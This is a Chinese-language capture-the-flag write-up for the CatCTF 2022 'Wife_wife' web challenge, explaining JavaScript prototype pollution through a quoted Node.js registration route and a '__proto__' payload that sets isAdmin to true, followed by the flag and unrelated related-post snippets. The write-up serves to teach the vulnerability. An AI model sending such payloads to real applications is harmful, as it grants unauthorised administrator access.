WEB:Wife_wife
WEB:Wife_wife
use by payload:"__proto__"{"isAdmin":true}
get flag
CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}
参考:https://www.rstk.cn/news/25963.html?action=onClick
CATCTF wife原型链污染
CATCTF wife原型链污染
原型链污染原理:https://drun1baby.github.io/2022/12/29/JavaScript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/
如下代码,prototype是newClass类的一个属性。newClass
实例化的对象 newObj
的 .__proto__
指向 newClass
类的 prototype
function newClass() {this.test = 1;
}var newObj = new newClass();
JSON 解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”。如果是let o2 = {a: 1, "__proto__": {b: 2}}
则__proto__
会被认为是o2的原型。如果作为键名(不会被解析)就会作为子类的原型
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
merge用于合并对象
merge 操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
原型链污染
CATCTF 2022 wife
靶场:https://adworld.xctf.org.cn/challenges/details?hash=e5ba95f8-884a-11ed-ab28-000c29bc20bf&task_category_id=3
注册部分的代码:
app.post('/register', (req, res) => {let user = JSON.parse(req.body)if (!user.username || !user.password) {return res.json({ msg: 'empty username or password', err: true })}if (users.filter(u => u.username == user.username).length) {return res.json({ msg: 'username already exists', err: true })}if (user.isAdmin && user.inviteCode != INVITE_CODE) {user.isAdmin = falsereturn res.json({ msg: 'invalid invite code', err: true })}let newUser = Object.assign({}, baseUser, user)users.push(newUser)res.json({ msg: 'user created successfully', err: false })
})
json解析后,利用Object.assign()创建子类newUser,push进users
这里传入payload:"__proto__"{"isAdmin":true}
造成原型链污染,生成的user用户拥有isAdmin=true
WEB:Wife_wife相关推荐
- Flutter Web:Shadow Root问题
document.getElementById找不到节点 在flutter1.x版本的dev分支上可以使用flutter web,但是我们在使用第三方js sdk的时候会出现问题,比如AgoraRtc ...
- 移动开发中的 Web:WebView、WebKit、JSCore、Web 优化、热修复、跨平台、Native、Hybrid……...
移动开发领域近年来已经逐渐告别了野蛮生长的时期,进入了相对成熟的时代.而一直以来 Native 和 Web 的争论从未停止,通过开发者孜孜不倦的努力,Web 的效率和 Native 的体验也一直在寻求 ...
- web:H5和小程序的区别
web:H5和小程序的区别 H5和小程序的区别 H5和小程序不具备可比性,只是很多移动端的场景下,两种选择都能实现产品的大部分功能.最近几年,小程序的兴起,让人们理解他等同于H5,其实不然. 关于小程 ...
- 美团开源Logan Web:前端日志在Web端的实现
来自:美团技术团队 2018 年,美团点评推出大前端日志系统-- Logan,并开源了 Android 与 iOS 端的 SDK.这次,我们又开源了在 Web 环境运行的 SDK.日志分析平台以及服务 ...
- java web filter标签是什么,Java Web:5.Filter
目录 什么是Filter? Filter是由Servlet容器进行调用,对 Servlet容器请求java服务端程序(调用资源:JSP,Servlet,静态HTML),java服务端程序响应Servl ...
- Go Web:HttpRouter路由(一)
2019独角兽企业重金招聘Python工程师标准>>> HttpRouter是一个轻量级但却非常高效的multiplexer. 手册: https://godoc.org/githu ...
- Web:你知道我这十几年是怎么过来的吗?!
大家好,我是若川.持续组织了8个月源码共读活动,感兴趣的可以点此加我微信 ruochuan12 参与,每周大家一起学习200行左右的源码,共同进步.同时极力推荐订阅我写的<学习源码整体架构系列& ...
- 美团开源 Logan Web:前端日志在 Web 端的实现
1.前言 Logan 是美团点评推出的大前端日志系统,支持多端环境运行,可为客户端.Web.小程序等用户端环境提供前端日志的存储.收集.上报及分析能力,能够帮助开发人员快速定位并解决端上问题,便于及时 ...
- Go Web:HttpRouter路由
HttpRouter是一个轻量级但却非常高效的multiplexer.手册: https://godoc.org/github.com/julienschmidt/httprouter https:/ ...
最新文章
- logistic回归 如何_第七章:利用Python实现Logistic回归分类模型
- 交叉编译Open***-2.4.3
- 分类的评估标准_机器学习:模型评估之评估指标
- Kubernetes本地集群和Google Kubernetes Engine的区别
- 趣话题:git三部曲(二)-拆分历史提交记录reset
- 线程并发编程之线程锁
- 应用上云2小时烧掉近50万,创始人:差点破产,简直噩梦
- Android 项目规范
- MySQL数据库基础命令
- MPLAB X IDE 用Pickit3烧录 提示“找不到目标器件。你必须连接一个目标器件来使用PICkit 3”,解决办法!
- Caused by: org.apache.spark.SparkException: This RDD lacks a SparkContext. It could happen in the
- 深圳学位锁定怎么计算机,【实用】如何查询深圳房子学位是否锁定?(附操作步骤)...
- 计算机二级考试模拟表单答题,2015年计算机二级考试Visual FoxPro练习题
- linux怎么看网络连接网络,linux如何查看网络连接情况?
- 计算机毕业设计项目推荐 - 毕设开题选题
- 云时代,网络攻击已经“鸟枪换炮”,你的企业安全还在按兵不动?
- 梦想照进现实|CSDN 实体奖牌 第五期
- ROS2利用cartographer算法进行激光建图
- java单例模式_无名小仙男
- STC8H8K64U学习(自用)